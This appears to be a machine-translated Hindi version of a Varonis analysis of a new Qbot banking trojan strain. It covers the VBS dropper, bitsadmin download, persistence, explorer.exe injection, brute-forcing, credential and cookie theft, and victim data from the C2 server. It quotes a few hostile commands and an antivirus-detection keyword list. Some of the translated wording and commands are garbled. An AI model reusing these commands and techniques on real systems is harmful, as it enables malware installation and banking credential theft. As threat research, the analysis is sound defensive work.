Qbot वापस आ गया है। वरोनिस ने बैंकिंग ट्रोजन Qbot का विस्तृत विश्लेषण पेश किया

Varonis सुरक्षा अनुसंधान समूह की खोज की और जांच की
मैलवेयर के एक नए तनाव का उपयोग करके वैश्विक साइबरबैट
qbot प्रदान करना। यह अभियान अमेरिकी निगमों को सक्रिय रूप से लक्षित कर रहा है, लेकिन दुनिया भर में हिट नेटवर्क है - पूरे यूरोप, एशिया, रूस और दक्षिण अमेरिका में पीड़ितों के साथ - गोपनीय वित्तीय जानकारी चुराने के लिए, जिसमें बैंक खाता साख भी शामिल है।


विश्लेषण के दौरान, हमने Qbot की इस भिन्नता के लिए कोड को अलग कर दिया और एक कार्यशील हमले नियंत्रण कमांड सेंटर की पहचान की, जिसने हमें संक्रमण की सीमा निर्धारित करने की अनुमति दी। C2 सर्वर की प्रत्यक्ष टिप्पणियों से पता चला कि दुनिया भर में हजारों पीड़ित पहले से ही समझौता कर चुके हैं और साइबर अपराधियों द्वारा सक्रिय रूप से निगरानी की जाती है। C & C सर्वर पर मिली अतिरिक्त जानकारी से इस अभियान के पीछे प्रत्यक्ष प्रतिभागियों के निशान भी सामने आए।

हमले की खोज मूल रूप से वरोनीस डाटअर्ट द्वारा की गई थी, जिसमें से एक में
उत्तर अमेरिकी ग्राहक। Varonis DatAlert ने संदिग्ध सॉफ्टवेयर लोड करने, सुरक्षा परिधि (आंतरिक पार्श्व आंदोलन), और संदिग्ध नेटवर्क गतिविधि के अंदर जाने के बारे में चेतावनी दी।

हमारी टीम वर्तमान में इस घटना की जांच करने वाले अधिकारियों के साथ सक्रिय रूप से सहयोग कर रही है और उन्हें अतिरिक्त गैर-सार्वजनिक जानकारी प्रदान की है। इस लेख में, हम वह जानकारी साझा करेंगे जो प्रकटीकरण के लिए अनुमत है।

बैंकिंग मैलवेयर Qbot का नया संस्करण

इस दुर्भावनापूर्ण अभियान के संचालकों ने बैंक क्रेडेंशियल्स चोरी करने के लिए डिज़ाइन किया गया एक प्रसिद्ध और परिष्कृत मैलवेयर Qbot का एक नया संस्करण इस्तेमाल किया। Qbot उन्नत विरोधी विश्लेषण विधियों का उपयोग करता है, अक्सर पता लगाने से दूर भागता है और उपलब्ध सुरक्षात्मक उपायों से आगे निकलने के लिए नए संक्रमण वैक्टर का उपयोग करता है।

मैलवेयर बहुरूपी है और लगातार खुद को बदलता रहता है:

• वह रैंडम नामों वाली फाइलें और फोल्डर बनाती है
• इसका अपडेट लोडर अक्सर C2 सर्वर को बदलता है
• जब कोई सक्रिय इंटरनेट कनेक्शन होता है तो मैलवेयर डाउनलोडर बदल जाता है (इस पर बाद में)

Qbot (या Qakbot) पहली बार 2009 में पहचाना गया था और तब से काफी विकसित हुआ है। इसका मुख्य रूप से ऑनलाइन इंटरनेट सत्रों से डेटा एकत्र करना और वित्तीय वेबसाइटों से संबंधित डेटा एकत्र करना है। इसकी नेटवर्क वर्म क्षमताएं इसे संगठन के नेटवर्क के माध्यम से फैलने और अन्य प्रणालियों को संक्रमित करने की अनुमति देती हैं।

खोज

हमारी टीम ने एक ग्राहक की कॉल के बाद एक जांच शुरू की, जहां पहले से लागू किए गए डाटअर्ट ने अपने सिस्टम में संदिग्ध गतिविधि की चेतावनी दी थी। जांच में पता चला कि,
कम से कम एक कंप्यूटर मैलवेयर से संक्रमित है, और अन्य नेटवर्क सर्वरों में फैलने के प्रयासों की पहचान की गई है।

वर्म का एक नमूना निकाला गया और विश्लेषण के लिए वरोनिस अनुसंधान दल को भेजा गया। पैटर्न किसी भी मौजूदा हैश से मेल नहीं खाता था, और आगे के शोध से पता चला कि यह एक नया तनाव था।

स्टेज एक: ड्रॉपर

फ़ाइल नाम: REQ_02132019b.doc.vbs



Qbot के पिछले संस्करणों में, Word दस्तावेज़ के अंदर पीड़ित के कंप्यूटर पर एक मैक्रो चलाया गया था। हमारी जांच के दौरान, .doc.vbs के साथ एक ज़िप फ़ाइल का भी पता लगाया गया था, यह दर्शाता है कि प्रारंभिक संक्रमण संभवतः के माध्यम से लागू किया गया था
फ़िशिंग ईमेल, जिसमें से दुर्भावनापूर्ण स्क्रिप्ट वीबीएस (विज़ुअल बेसिक स्क्रिप्ट) लॉन्च की गई थी।

निष्पादन के बाद, वीबीएस पीड़ित मशीन के ऑपरेटिंग सिस्टम संस्करण की पहचान करता है और स्थापित एंटी-वायरस सॉफ़्टवेयर का पता लगाने का प्रयास करता है। मैलवेयर निम्न पंक्तियों के लिए दिखता है: डिफेंडर, वायरस, एंटीवायरस, मालव, ट्रेंड, कैस्परस्की, केव, मैकफी, सिमेंटेक।

नए संस्करण में, बूटलोडर को डाउनलोड करने के लिए मैलवेयर BITSAdmin का उपयोग करता है। यह एक नया व्यवहार है, क्योंकि PowerShell का उपयोग मैलवेयर के पिछले संस्करणों में किया गया था।

BITSAdmin बूटलोडर को निम्न साइटों में से एक से डाउनलोड करता है:



और यहां BITSAdmin का उपयोग करके बूटलोडर डाउनलोड करने के लिए VBS कोड है:

intReturn = wShell.Run ('bitsadmin / transfer qahdejob' & Second (Now) & '/ Priority HIGH '& el & urlStr ' ' & tempFile, 0, True) 

दूसरा चरण: एक पैर जमाने के लिए और explorer.exe में जड़ लेने के लिए

फ़ाइल का नाम: widgetcontrol.png



बूटलोडर, जिसमें दुर्भावनापूर्ण प्रोग्राम का कर्नेल होता है, के कई संस्करण होते हैं और निष्पादन के बाद भी इसे लगातार अपडेट किया जाता है। संक्रमण पर पीड़ित को जो संस्करण मिलता है, वह sp पैरामीटर पर निर्भर करता है, जो VBS फ़ाइल में हार्डकोड है।

दुर्भावनापूर्ण विशेषता यह है कि बूटलोडर के प्रत्येक संस्करण को विभिन्न डिजिटल प्रमाणपत्रों के साथ हस्ताक्षरित किया गया है। विश्वसनीय प्रमाणपत्र आमतौर पर इंगित करते हैं कि फ़ाइल विश्वसनीय है, जबकि अहस्ताक्षरित निष्पादन योग्य फ़ाइलें संदिग्ध हैं।

Qbot को विश्वसनीयता प्राप्त करने और ऑपरेटिंग सिस्टम में पहचान से बचने के लिए नकली या चोरी किए गए वैध डिजिटल प्रमाणपत्रों का उपयोग करने के लिए जाना जाता है।

हमने बूटलोडर के सभी उपलब्ध संस्करणों को डाउनलोड किया (देखें नीचे समझौता के संकेतक) और प्रमाणपत्रों की तुलना की।

मैलवेयर द्वारा उपयोग किए जाने वाले प्रमाणपत्र:

• साईटेक सिस्टम्स लिमिटेड
• एकडजब सीमित
• हितिश पटेल कंसल्टिंग लि
• दरोगा सीमित
• INTENTEK लिमिटेड
• ऑस्टेक कंसल्टिंग लिमिटेड
• आईओ प्रो लिमिटेड
• Vercoe IT Ltd
• Edsabame कंसल्टेंट्स लिमिटेड
• SOVA कंसल्टेंसी लि

प्रमाण पत्र में से एक का एक उदाहरण:

फिक्सिंग

पहली शुरुआत में, बूटलोडर खुद को% Appdata% \ Roaming \ {रैंडम लाइन} पर कॉपी करता है और फिर निम्नलिखित बनाता है:

• रजिस्टर करें: उपयोगकर्ता द्वारा लॉग इन करने पर निष्पादित करने के लिए एक प्रसिद्ध रजिस्ट्री कुंजी के लिए खुद को लिखते हैं:
  
  HKEY_CURRENT_USER \ Software \ Microsoft \ Windows \ CurrentVersion \ Run
• टास्क शेड्यूलर: नीचे दिए गए पथ से हर 5 घंटे में मैलवेयर लॉन्च करने के लिए एक कार्य बनाया जाता है
  % Appdata% \ Roaming \ Microsoft \ {यादृच्छिक स्ट्रिंग}
• स्टार्टअप: Qbot स्टार्टअप-उपयोगकर्ता ऑटोस्टार्ट निर्देशिका में एक शॉर्टकट बनाता है

संक्रमित

बूटलोडर एक्स्प्लोरर। Exe 32-बिट एक्स्प्लोरर प्रक्रिया शुरू करता है और फिर इसे इसमें इंजेक्ट करता है।
मुख्य पेलोड।

यहां RWX मेमोरी सेगमेंट के रूप में पहले से स्थापित पेलोड के साथ explorer.exe प्रक्रिया का एक डंप है:



कार्यान्वयन के बाद, बूटलोडर अपने मूल निष्पादन योग्य को 32-बिट संस्करण calc.exe के साथ अधिलेखित कर देता है:

"C: \ Windows \ System32 \ cmd.exe" / c ping.exe-N 6 127.0.0.1 और टाइप करें "C: \ Windows \ System32 \ calc.exe"> C: \ Users \ {TKTKTK} \ Desktop \ 1 .exe

स्टेज तीन: चुपचाप चुपके से और पैसे चोरी

सिस्टम में तय होने के बाद, ब्रूट फोर्स मॉड्यूल नेटवर्क पर पासवर्ड और अकाउंट्स को सॉर्ट करना शुरू कर देता है। यदि मैलवेयर डोमेन खाते से समझौता करने में कामयाब रहा, तो यह डोमेन उपयोगकर्ता समूह के उपयोगकर्ताओं की सूची पढ़ता है और इन खातों के माध्यम से छंटनी शुरू करता है। यदि स्थानीय खाते से छेड़छाड़ की जाती है, तो मैलवेयर स्थानीय उपयोगकर्ताओं की मानक पूर्व-कॉन्फ़िगर सूची का उपयोग करता है। प्रमाणीकरण प्रयास NTLM और WNetAddConnection API का उपयोग करते हैं।

हमने स्थानीय खातों ( यहां ) के माध्यम से पुनरावृति करने की कोशिश करते समय मैलवेयर द्वारा उपयोग किए गए उपयोगकर्ता नाम और पासवर्ड निकाले। एक दुर्भावनापूर्ण प्रोग्राम इन शब्दकोशों को स्थैतिक विश्लेषण से छिपाता है, लेकिन उन्हें रन टाइम पर निकाला जा सकता है।

X32dbg Explorerr.exe एक्सप्लोरर छवि जो दूरस्थ उपयोगकर्ता को व्यवस्थापक उपयोगकर्ता और पासवर्ड 12345678 के साथ कनेक्ट करने का प्रयास करती है:

अपने पैसे ले जाओ

Qbot का मुख्य लक्ष्य अपने पीड़ितों से पैसे की चोरी है; वह वित्तीय, लेखांकन और अन्य जानकारी चुराने और हमलावर के सर्वर पर भेजने के लिए कई तरीकों का उपयोग करता है:

• Keylogger - Qbot कैप्चर करता है और प्रत्येक कीस्ट्रोके को भेजता है जो पीड़ित को हमलावर में प्रवेश करता है और उन्हें डाउनलोड करता है
• क्रेडेंशियल / सत्र कुकीज़ - Qbot ब्राउज़रों से संग्रहीत क्रेडेंशियल्स / कुकीज़ की खोज करता है और उन्हें एक हमलावर को भेजता है
• वायरटैपिंग - दुर्भावनापूर्ण पेलोड कोड के साथ सिस्टम में सभी प्रक्रियाओं में एम्बेडेड है जो एपीआई कॉल को स्वीकार करता है और प्रक्रिया से वित्तीय / बैंक लाइनों, क्रेडेंशियल्स या सत्र कुकीज़ की तलाश करता है और उन्हें हमलावर को लोड करता है।

नीचे दिया गया आंकड़ा बताता है कि बैंक की वेबसाइट buisnessline.huntington.com पर प्रमाणीकरण के दौरान, दुर्भावनापूर्ण प्रोग्राम PO2 अनुरोधों और सत्र कुकीज़ का डेटा C2 सर्वर content.bigflimz.com पर भेजता है:

एक C2 हमलावर सर्वर के अंदर

हमलावर की साइटों में से एक पर, हम पीड़ितों के आईपी पते, ऑपरेटिंग सिस्टम के बारे में जानकारी और एंटी-वायरस उत्पादों के नामों से युक्त लॉग फ़ाइलों को खोजने में सक्षम थे। C2 सर्वर ने पिछले हमलों के साथ-साथ दुर्भावनापूर्ण कार्यक्रमों के अतिरिक्त संस्करण (नीचे दिए गए समझौता संकेतक में संस्करण तालिका) पर जानकारी दिखाई।



कुछ परिणामों में डुप्लिकेट हो सकते हैं, लेकिन नीचे शीर्ष 10 देश, एंटीवायरस उत्पाद और ऑपरेटिंग सिस्टम पाए जाते हैं। यह भी ज्ञात है कि हमले के पीड़ित रूस में बड़े वित्तीय संगठन थे।

सभी डेटा हमारे गिथूब भंडार में अपलोड किया गया है ।

हमें पीड़ितों के लिए 2,726 अद्वितीय आईपी पते मिले। चूंकि कई संगठन NAT पोर्ट एड्रेस ट्रांसलेशन का उपयोग करते हैं, जो आंतरिक आईपी एड्रेस को मास्क करता है, पीड़ितों की संख्या,
शायद और भी बहुत कुछ होगा।


चित्र: देश से पीड़ित


चित्रा: ऑपरेटिंग सिस्टम द्वारा पीड़ित


चित्रा: एंटीवायरस द्वारा पीड़ितों का इस्तेमाल किया

संकलक संकेतक

समझौता के सभी संकेतक यहां जीथब पर पाए जा सकते हैं ।

बूटलोडर संस्करण
पूरी सूची यहां देखी जा सकती है ।